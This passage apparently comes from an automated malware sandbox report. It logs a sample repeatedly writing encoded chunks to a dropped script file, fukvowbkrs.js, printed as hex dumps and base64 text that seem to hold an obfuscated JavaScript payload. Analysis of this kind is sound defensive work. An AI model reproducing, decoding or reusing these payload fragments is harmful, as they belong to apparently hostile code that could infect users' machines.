34 4d 7a 56 63 65 44 
52 47 58 48 67 7a 4d 
46 78 34 4e 6a 68 63 
65 44 51 79 58 48 67 
30 52 6c 78 34 4e 6b 
52 63 65 44 5a 46 58 
48 67 32 51 6c 78 34 
4e 7a 46 63 65 44 4e 
46 58 48 67 79 4e 56 
78 34 4e 44 42 63 65 
44 4d 31 58 48 67 32 
51 6c 78 34 4e 54 56 
63 65 44 63 33 58 48 
67 31 4f 56 78 34 4e 
7a 4a 63 65 44 55 78 
58 48 67 30 51 31 78 
34 4e 45 5a 63 65 44 
63 30 58 48 67 30 52 
46 78 34 4e 6a 6c 63 
65 44 63 7a 58 48 67 
33 51 56 78 34 4e 44 
6d 63 65 

MyXHg2NFx4NERceDRE
XHgyQlx4Nzlc
eDc4XHg0RVx4NzNceDY
0XHg3M1x4Mz
hceDY3XHgyQlx4MzJceD
M4XHg1Mlx4
NjVceDc4XHgzOFx4MzVc
eDRGXHgzMF
x4NjhceDQyXHg0Rlx4NkR
ceDZFXHg2
Qlx4NzFceDNFXHgyNVx4
NDBceDM1XH
g2Qlx4NTVceDc3XHg1OV
x4NzJceDUx
XHg0Q1x4NEZceDc0XHg
0RFx4NjlceD
czXHg3QVx4NDmce

success or wait 7 6F489FBC WriteFile
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C:\Users\user\fukvowbkrs.js unknown 1024 63 30 58 48 67 33 4d 
6c 78 34 4e 7a 56 63 
65 44 52 43 58 48 67 
30 52 6c 78 34 4e 7a 
5a 63 65 44 63 77 58 
48 67 7a 4e 6c 78 34 
4e 6a 4e 63 65 44 6d 
42 58 48 67 7a 4d 6c 
78 34 4e 6b 46 63 65 
44 63 32 58 48 67 32 
4d 31 78 34 4e 44 5a 
63 65 44 4a 43 58 48 
67 33 4e 6c 78 34 4e 
7a 4e 63 65 44 51 31 
58 48 67 32 4e 6c 78 
34 4e 44 4e 63 65 44 
63 34 58 48 67 32 4e 
56 78 34 4d 7a 56 63 
65 44 52 42 58 48 67 
31 4d 56 78 34 4e 6a 
56 63 65 44 59 33 58 
48 67 31 4f 56 78 34 
4e 6b 46 63 65 44 55 
78 58 48 67 7a 4d 31 
78 34 4e 7a 6c 63 65 
44 4d 30 58 48 67 32 
51 6c 78 34 4e 6a 68 
63 65 44 63 31 58 48 
67 30 4e 31 78 34 4d 
6b 4a 63 65 44 51 33 
58 48 67 30 4e 46 78 
34 4e 7a 42 63 65 44 
55 77 58 48 67 7a 4d 
46 78 34 4d 7a 42 63 
65 44 51 34 58 48 67 
33 4d 56 78 34 4e 45 
56 63 65 

c0XHg3Mlx4NzVceDRCX
Hg0Rlx4NzZc
eDcwXHgzNlx4NjNceDmB
XHgzMlx4Nk
FceDc2XHg2M1x4NDZce
DJCXHg3Nlx4
NzNceDQ1XHg2Nlx4NDN
ceDc4XHg2NV
x4MzVceDRBXHg1MVx4N
jVceDY3XHg1
OVx4NkFceDUxXHgzM1x
4NzlceDM0XH
g2Qlx4NjhceDc1XHg0N1x
4MkJceDQ3
XHg0NFx4NzBceDUwXHg
zMFx4MzBceD
Q4XHg3MVx4NEVce

success or wait 3 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 59 78 58 48 67 32 4d 
6c 78 34 4e 54 6c 63 
65 44 63 31 58 48 67 
32 4e 56 78 34 4e 7a 
46 63 65 44 59 78 58 
48 67 33 4e 6c 78 34 
4d 7a 52 63 65 44 55 
79 58 48 67 30 4f 56 
78 34 4e 44 5a 63 65 
44 55 30 58 48 67 31 
4d 46 78 34 4e 7a 5a 
63 65 44 55 79 58 48 
67 30 52 46 78 34 4e 
30 46 63 65 44 6d 42 
58 48 67 31 4e 56 78 
34 4e 54 4a 63 65 44 
55 77 58 48 67 7a 4e 
6c 78 34 4e 54 6d 63 
65 44 63 77 58 48 67 
30 51 6c 78 34 4e 7a 
42 63 65 44 52 47 58 
48 67 30 52 6c 78 34 
4e 6a 5a 63 65 44 5a 
45 58 48 67 30 4e 6c 
78 34 4e 45 4e 63 65 
44 55 31 58 48 67 7a 
4e 31 78 34 4e 45 46 
63 65 44 63 31 58 48 
67 32 4e 56 78 34 4e 
44 56 63 65 44 55 78 
58 48 67 30 4f 46 78 
34 4e 7a 6d 63 65 44 
4d 30 58 48 67 79 52 
6c 78 34 4e 45 5a 63 
65 44 59 34 58 48 67 
33 4d 56 78 34 4e 6a 
52 63 65 

YxXHg2Mlx4NTlceDc1XH
g2NVx4NzFc
eDYxXHg3Nlx4MzRceDUy
XHg0OVx4ND
ZceDU0XHg1MFx4NzZce
DUyXHg0RFx4
N0FceDmBXHg1NVx4NTJ
ceDUwXHgzNl
x4NTmceDcwXHg0Qlx4Nz
BceDRGXHg0
Rlx4NjZceDZEXHg0Nlx4N
ENceDU1XH
gzN1x4NEFceDc1XHg2N
Vx4NDVceDUx
XHg0OFx4NzmceDM0XH
gyRlx4NEZceD
Y4XHg3MVx4NjRce

success or wait 3 6F489FBC WriteFile

File Path Offset Length Value Ascii Completion Count
Source
Address Symbol

Copyright null 2021 Page 120 of 706



C:\Users\user\fukvowbkrs.js unknown 1024 59 79 58 48 67 32 4e 
46 78 34 4e 44 5a 63 
65 44 51 35 58 48 67 
31 4f 46 78 34 4e 54 
6c 63 65 44 52 45 58 
48 67 33 4d 31 78 34 
4d 7a 6d 63 65 44 5a 
44 58 48 67 30 4e 6c 
78 34 4e 6a 6c 63 65 
44 4d 30 58 48 67 31 
4d 6c 78 34 4e 44 5a 
63 65 44 6d 42 58 48 
67 32 4e 6c 78 34 4d 
6b 5a 63 65 44 5a 45 
58 48 67 31 4f 56 78 
34 4d 7a 68 63 65 44 
63 32 58 48 67 7a 4e 
46 78 34 4e 6b 4e 63 
65 44 63 32 58 48 67 
30 4d 6c 78 34 4d 7a 
68 63 65 44 63 33 58 
48 67 30 51 6c 78 34 
4e 6a 6c 63 65 44 63 
30 58 48 67 32 4e 6c 
78 34 4e 6b 52 63 65 
44 4d 35 58 48 67 79 
52 6c 78 34 4e 7a 46 
63 65 44 63 30 58 48 
67 7a 4d 6c 78 34 4e 
6a 46 63 65 44 4d 32 
58 48 67 79 51 6c 78 
34 4e 7a 46 63 65 44 
63 78 58 48 67 7a 52 
56 78 34 4d 6a 56 63 
65 44 51 77 58 48 67 
32 4f 46 78 34 4e 7a 
56 63 65 

YyXHg2NFx4NDZceDQ5X
Hg1OFx4NTlc
eDREXHg3M1x4MzmceD
ZDXHg0Nlx4Nj
lceDM0XHg1Mlx4NDZceD
mBXHg2Nlx4
MkZceDZEXHg1OVx4Mzh
ceDc2XHgzNF
x4NkNceDc2XHg0Mlx4Mz
hceDc3XHg0
Qlx4NjlceDc0XHg2Nlx4Nk
RceDM5XH
gyRlx4NzFceDc0XHgzMlx
4NjFceDM2
XHgyQlx4NzFceDcxXHgz
RVx4MjVceD
QwXHg2OFx4NzVce

success or wait 2 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 59 31 58 48 67 30 4d 
31 78 34 4e 54 68 63 
65 44 4d 34 58 48 67 
30 51 6c 78 34 4e 55 
46 63 65 44 63 34 58 
48 67 32 4d 31 78 34 
4d 7a 4e 63 65 44 5a 
42 58 48 67 79 51 6c 
78 34 4e 54 52 63 65 
44 55 33 58 48 67 32 
4f 56 78 34 4d 6b 5a 
63 65 44 59 34 58 48 
67 31 4e 6c 78 34 4d 
7a 42 63 65 44 51 7a 
58 48 67 32 4d 6c 78 
34 4e 6a 6d 63 65 44 
5a 42 58 48 67 31 4e 
46 78 34 4e 44 56 63 
65 44 5a 45 58 48 67 
7a 4e 56 78 34 4d 30 
56 63 65 44 49 31 58 
48 67 30 4d 46 78 34 
4e 6b 4e 63 65 44 55 
30 58 48 67 32 51 31 
78 34 4e 44 4e 63 65 
44 4d 7a 58 48 67 7a 
52 56 78 34 4d 6a 56 
63 65 44 51 77 58 48 
67 32 52 6c 78 34 4e 
54 68 63 65 44 4d 30 
58 48 67 30 4e 46 78 
34 4e 45 4a 63 65 44 
59 32 58 48 67 7a 52 
56 78 34 4d 6a 56 63 
65 44 51 77 58 48 67 
30 4e 56 78 34 4e 45 
4a 63 65 

Y1XHg0M1x4NThceDM4X
Hg0Qlx4NUFc
eDc4XHg2M1x4MzNceDZ
BXHgyQlx4NT
RceDU3XHg2OVx4MkZce
DY4XHg1Nlx4
MzBceDQzXHg2Mlx4Njmc
eDZBXHg1NF
x4NDVceDZEXHgzNVx4M
0VceDI1XHg0
MFx4NkNceDU0XHg2Q1x
4NDNceDMzXH
gzRVx4MjVceDQwXHg2Rl
x4NThceDM0
XHg0NFx4NEJceDY2XHg
zRVx4MjVceD
QwXHg0NVx4NEJce

success or wait 6 6F489FBC WriteFile
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C:\Users\user\fukvowbkrs.js unknown 1024 63 31 58 48 67 32 4e 
6c 78 34 4e 6a 5a 63 
65 44 59 7a 58 48 67 
32 4d 31 78 34 4d 6b 
4a 63 65 44 4d 33 58 
48 67 7a 52 56 78 34 
4d 6a 56 63 65 44 51 
77 58 48 67 33 4e 6c 
78 34 4e 54 42 63 65 
44 59 31 58 48 67 31 
4d 46 78 34 4e 6b 4e 
63 65 44 4d 78 58 48 
67 32 4d 31 78 34 4d 
30 56 63 65 44 49 31 
58 48 67 30 4d 46 78 
34 4d 6b 4a 63 65 44 
4d 35 58 48 67 32 4f 
56 78 34 4e 45 5a 63 
65 44 55 35 58 48 67 
7a 4d 46 78 34 4e 6b 
4e 63 65 44 4e 46 58 
48 67 79 4e 56 78 34 
4e 44 42 63 65 44 55 
30 58 48 67 33 4d 31 
78 34 4e 44 4e 63 65 
44 63 78 58 48 67 32 
4e 31 78 34 4e 44 52 
63 65 44 55 31 58 48 
67 30 4d 6c 78 34 4d 
7a 5a 63 65 44 63 33 
58 48 67 32 51 31 78 
34 4e 44 56 63 65 44 
63 7a 58 48 67 31 4d 
31 78 34 4d 30 56 63 
65 44 49 31 58 48 67 
30 4d 46 78 34 4e 6a 
6c 63 65 

c1XHg2Nlx4NjZceDYzXHg
2M1x4MkJc
eDM3XHgzRVx4MjVceDQ
wXHg3Nlx4NT
BceDY1XHg1MFx4NkNce
DMxXHg2M1x4
M0VceDI1XHg0MFx4MkJc
eDM5XHg2OV
x4NEZceDU5XHgzMFx4N
kNceDNFXHgy
NVx4NDBceDU0XHg3M1x
4NDNceDcxXH
g2N1x4NDRceDU1XHg0Ml
x4MzZceDc3
XHg2Q1x4NDVceDczXHg
1M1x4M0VceD
I1XHg0MFx4Njlce

success or wait 4 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 59 34 58 48 67 30 4e 
6c 78 34 4e 7a 6d 63 
65 44 4e 46 58 48 67 
79 4e 56 78 34 4e 44 
42 63 65 44 55 79 58 
48 67 32 4d 6c 78 34 
4e 45 46 63 65 44 4d 
35 58 48 67 32 4f 56 
78 34 4e 6b 4e 63 65 
44 59 33 58 48 67 33 
4e 46 78 34 4e 54 56 
63 65 44 51 35 58 48 
67 31 4e 6c 78 34 4e 
6a 6c 63 65 44 63 32 
58 48 67 31 4f 56 78 
34 4e 6a 56 63 65 44 
63 7a 58 48 67 30 4f 
46 78 34 4e 7a 46 63 
65 44 51 79 58 48 67 
7a 52 56 78 34 4d 6a 
56 63 65 44 51 77 58 
48 67 33 4d 31 78 34 
4e 44 6c 63 65 44 55 
32 58 48 67 32 4f 56 
78 34 4d 7a 6c 63 65 
44 55 35 58 48 67 31 
4e 56 78 34 4e 45 4e 
63 65 44 4e 46 58 48 
67 79 4e 56 78 34 4e 
44 42 63 65 44 52 46 
58 48 67 32 4e 31 78 
34 4e 6b 52 63 65 44 
4d 77 58 48 67 31 4e 
56 78 34 4e 6a 4a 63 
65 44 52 42 58 48 67 
30 52 56 78 34 4e 6a 
6d 63 65 

Y4XHg0Nlx4NzmceDNFX
HgyNVx4NDBc
eDUyXHg2Mlx4NEFceDM
5XHg2OVx4Nk
NceDY3XHg3NFx4NTVce
DQ5XHg1Nlx4
NjlceDc2XHg1OVx4NjVce
DczXHg0OF
x4NzFceDQyXHgzRVx4Mj
VceDQwXHg3
M1x4NDlceDU2XHg2OVx
4MzlceDU5XH
g1NVx4NENceDNFXHgyN
Vx4NDBceDRF
XHg2N1x4NkRceDMwXHg
1NVx4NjJceD
RBXHg0RVx4Njmce

success or wait 6 6F489FBC WriteFile
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C:\Users\user\fukvowbkrs.js unknown 1024 63 33 58 48 67 31 4d 
56 78 34 4d 7a 52 63 
65 44 51 35 58 48 67 
7a 4f 56 78 34 4e 6b 
4e 63 65 44 51 34 58 
48 67 30 4d 6c 78 34 
4e 54 42 63 65 44 59 
35 58 48 67 32 4d 6c 
78 34 4e 54 6c 63 65 
44 63 34 58 48 67 33 
4e 31 78 34 4e 54 56 
63 65 44 4d 33 58 48 
67 30 51 56 78 34 4e 
6a 52 63 65 44 59 33 
58 48 67 7a 4d 31 78 
34 4e 44 4a 63 65 44 
59 32 58 48 67 33 4e 
56 78 34 4e 45 5a 63 
65 44 55 35 58 48 67 
30 52 56 78 34 4d 7a 
68 63 65 44 55 32 58 
48 67 7a 4e 31 78 34 
4e 44 68 63 65 44 63 
31 58 48 67 30 4d 31 
78 34 4e 6a 5a 63 65 
44 55 32 58 48 67 79 
51 6c 78 34 4e 7a 6d 
63 65 44 56 42 58 48 
67 33 4e 31 78 34 4e 
54 5a 63 65 44 4d 33 
58 48 67 31 4e 46 78 
34 4e 7a 4a 63 65 44 
51 30 58 48 67 32 52 
56 78 34 4e 44 4a 63 
65 44 55 34 58 48 67 
33 4e 46 78 34 4e 44 
4a 63 65 

c3XHg1MVx4MzRceDQ5X
HgzOVx4NkNc
eDQ4XHg0Mlx4NTBceDY
5XHg2Mlx4NT
lceDc4XHg3N1x4NTVceD
M3XHg0QVx4
NjRceDY3XHgzM1x4NDJc
eDY2XHg3NV
x4NEZceDU5XHg0RVx4M
zhceDU2XHgz
N1x4NDhceDc1XHg0M1x4
NjZceDU2XH
gyQlx4NzmceDVBXHg3N
1x4NTZceDM3
XHg1NFx4NzJceDQ0XHg
2RVx4NDJceD
U4XHg3NFx4NDJce

success or wait 2 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 5a 46 58 48 67 32 4e 
31 78 34 4e 54 68 63 
65 44 51 34 58 48 67 
30 4d 31 78 34 4e 54 
52 63 65 44 4d 30 58 
48 67 30 4e 6c 78 34 
4e 6b 52 63 65 44 51 
7a 58 48 67 31 51 56 
78 34 4e 7a 6d 63 65 
44 63 7a 58 48 67 33 
4e 56 78 34 4e 44 4e 
63 65 44 6d 42 58 48 
67 7a 4e 56 78 34 4e 
45 56 63 65 44 4d 34 
58 48 67 30 4d 6c 78 
34 4e 30 46 63 65 44 
51 79 58 48 67 32 4d 
31 78 34 4e 7a 6d 63 
65 44 55 33 58 48 67 
32 4e 6c 78 34 4e 45 
4e 63 65 44 5a 46 58 
48 67 32 4f 56 78 34 
4e 6a 56 63 65 44 4d 
30 58 48 67 30 4e 46 
78 34 4e 45 52 63 65 
44 51 31 58 48 67 33 
51 56 78 34 4e 7a 68 
63 65 44 59 32 58 48 
67 32 4d 31 78 34 4e 
45 46 63 65 44 59 32 
58 48 67 32 4f 46 78 
34 4e 45 52 63 65 44 
63 33 58 48 67 31 4d 
31 78 34 4d 7a 68 63 
65 44 55 78 58 48 67 
32 4e 6c 78 34 4e 45 
46 63 65 

ZFXHg2N1x4NThceDQ4X
Hg0M1x4NTRc
eDM0XHg0Nlx4NkRceDQ
zXHg1QVx4Nz
mceDczXHg3NVx4NDNce
DmBXHgzNVx4
NEVceDM4XHg0Mlx4N0F
ceDQyXHg2M1
x4NzmceDU3XHg2Nlx4NE
NceDZFXHg2
OVx4NjVceDM0XHg0NFx
4NERceDQ1XH
g3QVx4NzhceDY2XHg2M
1x4NEFceDY2
XHg2OFx4NERceDc3XHg
1M1x4MzhceD
UxXHg2Nlx4NEFce

success or wait 4 6F489FBC WriteFile
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C:\Users\user\fukvowbkrs.js unknown 1024 59 34 58 48 67 79 51 
6c 78 34 4e 6a 68 63 
65 44 52 47 58 48 67 
30 4e 46 78 34 4e 54 
42 63 65 44 51 7a 58 
48 67 31 4d 46 78 34 
4d 7a 5a 63 65 44 51 
7a 58 48 67 7a 4e 46 
78 34 4e 45 4a 63 65 
44 4d 34 58 48 67 30 
4f 56 78 34 4e 30 46 
63 65 44 59 33 58 48 
67 30 4d 6c 78 34 4e 
6a 6d 63 65 44 51 34 
58 48 67 30 4e 56 78 
34 4e 44 56 63 65 44 
55 33 58 48 67 32 4e 
31 78 34 4e 6b 52 63 
65 44 63 33 58 48 67 
30 4e 56 78 34 4d 7a 
42 63 65 44 63 34 58 
48 67 30 4e 46 78 34 
4e 6b 4a 63 65 44 51 
35 58 48 67 30 51 56 
78 34 4e 6a 6c 63 65 
44 51 79 58 48 67 32 
52 6c 78 34 4e 44 4a 
63 65 44 51 30 58 48 
67 30 4d 6c 78 34 4e 
6a 68 63 65 44 55 78 
58 48 67 32 4f 46 78 
34 4e 6b 52 63 65 44 
51 35 58 48 67 7a 4e 
56 78 34 4e 6a 6c 63 
65 44 51 30 58 48 67 
7a 4e 46 78 34 4e 44 
4e 63 65 

Y4XHgyQlx4NjhceDRGXH
g0NFx4NTBc
eDQzXHg1MFx4MzZceD
QzXHgzNFx4NE
JceDM4XHg0OVx4N0Fce
DY3XHg0Mlx4
NjmceDQ4XHg0NVx4NDV
ceDU3XHg2N1
x4NkRceDc3XHg0NVx4M
zBceDc4XHg0
NFx4NkJceDQ5XHg0QVx
4NjlceDQyXH
g2Rlx4NDJceDQ0XHg0Ml
x4NjhceDUx
XHg2OFx4NkRceDQ5XHg
zNVx4NjlceD
Q0XHgzNFx4NDNce

success or wait 3 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 63 32 58 48 67 32 4f 
46 78 34 4e 7a 52 63 
65 44 55 79 58 48 67 
32 4e 46 78 34 4e 7a 
4a 63 65 44 52 47 58 
48 67 30 4f 46 78 34 
4d 30 56 63 65 44 49 
31 58 48 67 30 4d 46 
78 34 4e 44 4e 63 65 
44 51 30 58 48 67 7a 
4e 56 78 34 4e 45 5a 
63 65 44 51 34 58 48 
67 32 4d 6c 78 34 4e 
6b 46 63 65 44 4d 79 
58 48 67 30 51 31 78 
34 4e 7a 46 63 65 44 
51 7a 58 48 67 31 4d 
46 78 34 4e 54 6d 63 
65 44 5a 42 58 48 67 
32 52 56 78 34 4e 6a 
56 63 65 44 4d 35 58 
48 67 32 51 31 78 34 
4e 7a 52 63 65 44 59 
30 58 48 67 33 4d 6c 
78 34 4d 7a 52 63 65 
44 55 77 58 48 67 33 
4f 46 78 34 4e 6a 4a 
63 65 44 59 33 58 48 
67 31 4e 46 78 34 4e 
7a 56 63 65 44 4d 7a 
58 48 67 32 4e 56 78 
34 4e 7a 68 63 65 44 
59 78 58 48 67 79 51 
6c 78 34 4d 7a 4e 63 
65 44 4d 34 58 48 67 
32 4d 6c 78 34 4e 7a 
5a 63 65 

c2XHg2OFx4NzRceDUyX
Hg2NFx4NzJc
eDRGXHg0OFx4M0VceDI
1XHg0MFx4ND
NceDQ0XHgzNVx4NEZce
DQ4XHg2Mlx4
NkFceDMyXHg0Q1x4NzF
ceDQzXHg1MF
x4NTmceDZBXHg2RVx4N
jVceDM5XHg2
Q1x4NzRceDY0XHg3Mlx4
MzRceDUwXH
g3OFx4NjJceDY3XHg1NF
x4NzVceDMz
XHg2NVx4NzhceDYxXHg
yQlx4MzNceD
M4XHg2Mlx4NzZce

success or wait 2 6F489FBC WriteFile
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C:\Users\user\fukvowbkrs.js unknown 1024 51 32 58 48 67 30 4d 
31 78 34 4d 7a 52 63 
65 44 4d 33 58 48 67 
33 4f 46 78 34 4e 6a 
4a 63 65 44 4d 32 58 
48 67 30 52 46 78 34 
4d 7a 52 63 65 44 51 
7a 58 48 67 33 4d 31 
78 34 4e 44 6c 63 65 
44 4d 33 58 48 67 32 
51 6c 78 34 4e 54 5a 
63 65 44 63 33 58 48 
67 30 4e 31 78 34 4e 
45 52 63 65 44 51 31 
58 48 67 33 4f 46 78 
34 4e 44 4a 63 65 44 
52 43 58 48 67 30 52 
46 78 34 4e 44 6c 63 
65 44 55 30 58 48 67 
32 4f 56 78 34 4e 44 
4a 63 65 44 4d 30 58 
48 67 30 4d 6c 78 34 
4e 6a 6d 63 65 44 51 
33 58 48 67 32 52 6c 
78 34 4d 7a 68 63 65 
44 63 34 58 48 67 31 
4d 56 78 34 4e 54 4e 
63 65 44 55 77 58 48 
67 31 4f 56 78 34 4e 
54 5a 63 65 44 51 31 
58 48 67 33 4e 6c 78 
34 4d 7a 52 63 65 44 
5a 45 58 48 67 33 4e 
46 78 34 4e 6a 4e 63 
65 44 59 79 58 48 67 
7a 52 56 78 34 4d 6a 
56 63 65 

Q2XHg0M1x4MzRceDM3
XHg3OFx4NjJc
eDM2XHg0RFx4MzRceD
QzXHg3M1x4ND
lceDM3XHg2Qlx4NTZceD
c3XHg0N1x4
NERceDQ1XHg3OFx4NDJ
ceDRCXHg0RF
x4NDlceDU0XHg2OVx4N
DJceDM0XHg0
Mlx4NjmceDQ3XHg2Rlx4
MzhceDc4XH
g1MVx4NTNceDUwXHg1
OVx4NTZceDQ1
XHg3Nlx4MzRceDZEXHg
3NFx4NjNceD
YyXHgzRVx4MjVce

success or wait 2 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 58 48 67 32 4f 46 78 
34 4e 45 5a 63 65 44 
55 35 58 48 67 30 4d 
31 78 34 4e 6b 4a 63 
65 44 5a 43 58 48 67 
7a 4d 6c 78 34 4e 44 
56 63 65 44 4d 33 58 
48 67 33 4f 56 78 34 
4d 7a 56 63 65 44 59 
78 58 48 67 33 4e 46 
78 34 4e 6a 56 63 65 
44 55 31 58 48 67 32 
51 6c 78 34 4e 44 6d 
63 65 44 59 78 58 48 
67 30 4e 56 78 34 4e 
44 6c 63 65 44 4d 7a 
58 48 67 32 51 6c 78 
34 4d 7a 6d 63 65 44 
4d 7a 58 48 67 31 4d 
56 78 34 4e 7a 6d 63 
65 44 63 31 58 48 67 
7a 4d 46 78 34 4e 7a 
56 63 65 44 59 35 58 
48 67 7a 4d 31 78 34 
4d 6b 5a 63 65 44 4d 
34 58 48 67 7a 52 56 
78 34 4d 6a 56 63 65 
44 51 77 58 48 67 30 
51 56 78 34 4e 6a 52 
63 65 44 55 78 58 48 
67 31 4e 56 78 34 4d 
7a 46 63 65 44 5a 47 
58 48 67 7a 4d 31 78 
34 4e 7a 6c 63 65 44 
4d 31 58 48 67 30 4e 
6c 78 34 4e 7a 52 63 
65 44 63 

XHg2OFx4NEZceDU5XHg
0M1x4NkJceD
ZCXHgzMlx4NDVceDM3X
Hg3OVx4MzVc
eDYxXHg3NFx4NjVceDU1
XHg2Qlx4ND
mceDYxXHg0NVx4NDlce
DMzXHg2Qlx4
MzmceDMzXHg1MVx4Nz
mceDc1XHgzMF
x4NzVceDY5XHgzM1x4M
kZceDM4XHgz
RVx4MjVceDQwXHg0QVx
4NjRceDUxXH
g1NVx4MzFceDZGXHgzM
1x4NzlceDM1
XHg0Nlx4NzRceDc

success or wait 1 6F489FBC WriteFile
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C:\Users\user\fukvowbkrs.js unknown 1024 58 48 67 30 4f 46 78 
34 4d 7a 6d 63 65 44 
4d 78 58 48 67 33 4f 
46 78 34 4d 7a 6d 63 
65 44 55 31 58 48 67 
31 4e 6c 78 34 4d 7a 
5a 63 65 44 55 30 58 
48 67 31 4f 46 78 34 
4d 7a 56 63 65 44 63 
79 58 48 67 32 52 46 
78 34 4e 6a 68 63 65 
44 4d 7a 58 48 67 33 
4d 46 78 34 4e 6b 4a 
63 65 44 52 42 58 48 
67 31 4e 46 78 34 4e 
44 52 63 65 44 52 46 
58 48 67 7a 4e 31 78 
34 4e 45 5a 63 65 44 
59 34 58 48 67 32 4e 
46 78 34 4e 44 4e 63 
65 44 59 34 58 48 67 
33 4e 6c 78 34 4e 7a 
6c 63 65 44 6d 42 58 
48 67 7a 4f 46 78 34 
4d 7a 52 63 65 44 4e 
46 58 48 67 79 4e 56 
78 34 4e 44 42 63 65 
44 52 43 58 48 67 31 
4e 31 78 34 4e 44 5a 
63 65 44 5a 45 58 48 
67 32 51 56 78 34 4e 
6b 46 63 65 44 4d 7a 
58 48 67 30 4f 46 78 
34 4e 7a 6c 63 65 44 
63 77 58 48 67 33 51 
56 78 34 4e 45 5a 63 
65 44 55 

XHg0OFx4MzmceDMxXH
g3OFx4MzmceD
U1XHg1Nlx4MzZceDU0X
Hg1OFx4MzVc
eDcyXHg2RFx4NjhceDMz
XHg3MFx4Nk
JceDRBXHg1NFx4NDRce
DRFXHgzN1x4
NEZceDY4XHg2NFx4NDN
ceDY4XHg3Nl
x4NzlceDmBXHgzOFx4Mz
RceDNFXHgy
NVx4NDBceDRCXHg1N1x
4NDZceDZEXH
g2QVx4NkFceDMzXHg0O
Fx4NzlceDcw
XHg3QVx4NEZceDU

success or wait 5 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 58 48 67 33 4d 46 78 
34 4e 7a 42 63 65 44 
5a 44 58 48 67 32 4f 
56 78 34 4d 7a 4e 63 
65 44 55 34 58 48 67 
30 4e 31 78 34 4e 45 
5a 63 65 44 5a 43 58 
48 67 30 4e 6c 78 34 
4e 7a 42 63 65 44 59 
7a 58 48 67 7a 4f 46 
78 34 4e 6a 4e 63 65 
44 55 77 58 48 67 32 
4e 31 78 34 4e 44 6c 
63 65 44 56 42 58 48 
67 32 4d 31 78 34 4e 
45 52 63 65 44 4a 47 
58 48 67 30 52 46 78 
34 4e 6b 4a 63 65 44 
55 79 58 48 67 7a 4e 
46 78 34 4e 6a 46 63 
65 44 4a 47 58 48 67 
7a 4d 6c 78 34 4e 45 
52 63 65 44 5a 47 58 
48 67 33 4d 31 78 34 
4e 6b 5a 63 65 44 51 
79 58 48 67 32 4d 6c 
78 34 4e 54 52 63 65 
44 4d 7a 58 48 67 30 
4e 31 78 34 4e 54 56 
63 65 44 52 44 58 48 
67 33 4e 31 78 34 4e 
6a 5a 63 65 44 51 33 
58 48 67 33 51 56 78 
34 4d 7a 56 63 65 44 
4d 35 58 48 67 32 52 
56 78 34 4e 45 5a 63 
65 44 5a 

XHg3MFx4NzBceDZDXHg
2OVx4MzNceD
U4XHg0N1x4NEZceDZCX
Hg0Nlx4NzBc
eDYzXHgzOFx4NjNceDU
wXHg2N1x4ND
lceDVBXHg2M1x4NERce
DJGXHg0RFx4
NkJceDUyXHgzNFx4NjFc
eDJGXHgzMl
x4NERceDZGXHg3M1x4N
kZceDQyXHg2
Mlx4NTRceDMzXHg0N1x
4NTVceDRDXH
g3N1x4NjZceDQ3XHg3QV
x4MzVceDM5
XHg2RVx4NEZceDZ

success or wait 2 6F489FBC WriteFile

File Path Offset Length Value Ascii Completion Count
Source
Address Symbol

Copyright null 2021 Page 126 of 706



C:\Users\user\fukvowbkrs.js unknown 1024 58 48 67 7a 4d 56 78 
34 4e 44 56 63 65 44 
59 7a 58 48 67 33 4f 
46 78 34 4e 7a 4e 63 
65 44 51 33 58 48 67 
30 4e 56 78 34 4e 7a 
6c 63 65 44 5a 43 58 
48 67 31 4e 46 78 34 
4e 7a 56 63 65 44 55 
34 58 48 67 33 4d 56 
78 34 4e 54 56 63 65 
44 4d 7a 58 48 67 7a 
4d 6c 78 34 4e 54 4a 
63 65 44 55 33 58 48 
67 30 51 31 78 34 4e 
6a 52 63 65 44 4d 7a 
58 48 67 7a 4e 46 78 
34 4d 7a 42 63 65 44 
51 79 58 48 67 79 52 
6c 78 34 4e 54 4a 63 
65 44 6d 42 58 48 67 
31 4d 56 78 34 4e 6a 
56 63 65 44 55 77 58 
48 67 7a 4d 6c 78 34 
4e 6a 56 63 65 44 4d 
34 58 48 67 31 4f 56 
78 34 4e 54 52 63 65 
44 51 7a 58 48 67 31 
4e 31 78 34 4d 7a 5a 
63 65 44 52 46 58 48 
67 7a 4d 46 78 34 4e 
55 46 63 65 44 59 34 
58 48 67 32 4e 6c 78 
34 4e 44 6d 63 65 44 
59 7a 58 48 67 33 4e 
46 78 34 4e 44 68 63 
65 44 51 

XHgzMVx4NDVceDYzXHg
3OFx4NzNceD
Q3XHg0NVx4NzlceDZCX
Hg1NFx4NzVc
eDU4XHg3MVx4NTVceD
MzXHgzMlx4NT
JceDU3XHg0Q1x4NjRceD
MzXHgzNFx4
MzBceDQyXHgyRlx4NTJc
eDmBXHg1MV
x4NjVceDUwXHgzMlx4Nj
VceDM4XHg1
OVx4NTRceDQzXHg1N1x
4MzZceDRFXH
gzMFx4NUFceDY4XHg2Nl
x4NDmceDYz
XHg3NFx4NDhceDQ

success or wait 4 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 58 48 67 33 4e 56 78 
34 4e 44 4a 63 65 44 
63 7a 58 48 67 32 52 
46 78 34 4e 54 6d 63 
65 44 59 32 58 48 67 
32 51 56 78 34 4e 6b 
46 63 65 44 59 7a 58 
48 67 30 51 6c 78 34 
4e 54 5a 63 65 44 59 
79 58 48 67 32 52 56 
78 34 4e 44 5a 63 65 
44 63 78 58 48 67 79 
51 6c 78 34 4e 6a 5a 
63 65 44 55 32 58 48 
67 7a 52 56 78 34 4d 
6a 56 63 65 44 51 77 
58 48 67 30 4f 56 78 
34 4e 54 52 63 65 44 
5a 42 58 48 67 30 51 
31 78 34 4e 6a 56 63 
65 44 59 33 58 48 67 
7a 4d 46 78 34 4e 7a 
6d 63 65 44 55 78 58 
48 67 7a 4e 6c 78 34 
4e 44 6c 63 65 44 59 
33 58 48 67 30 52 6c 
78 34 4e 44 4a 63 65 
44 63 35 58 48 67 30 
52 46 78 34 4d 7a 6d 
63 65 44 4d 79 58 48 
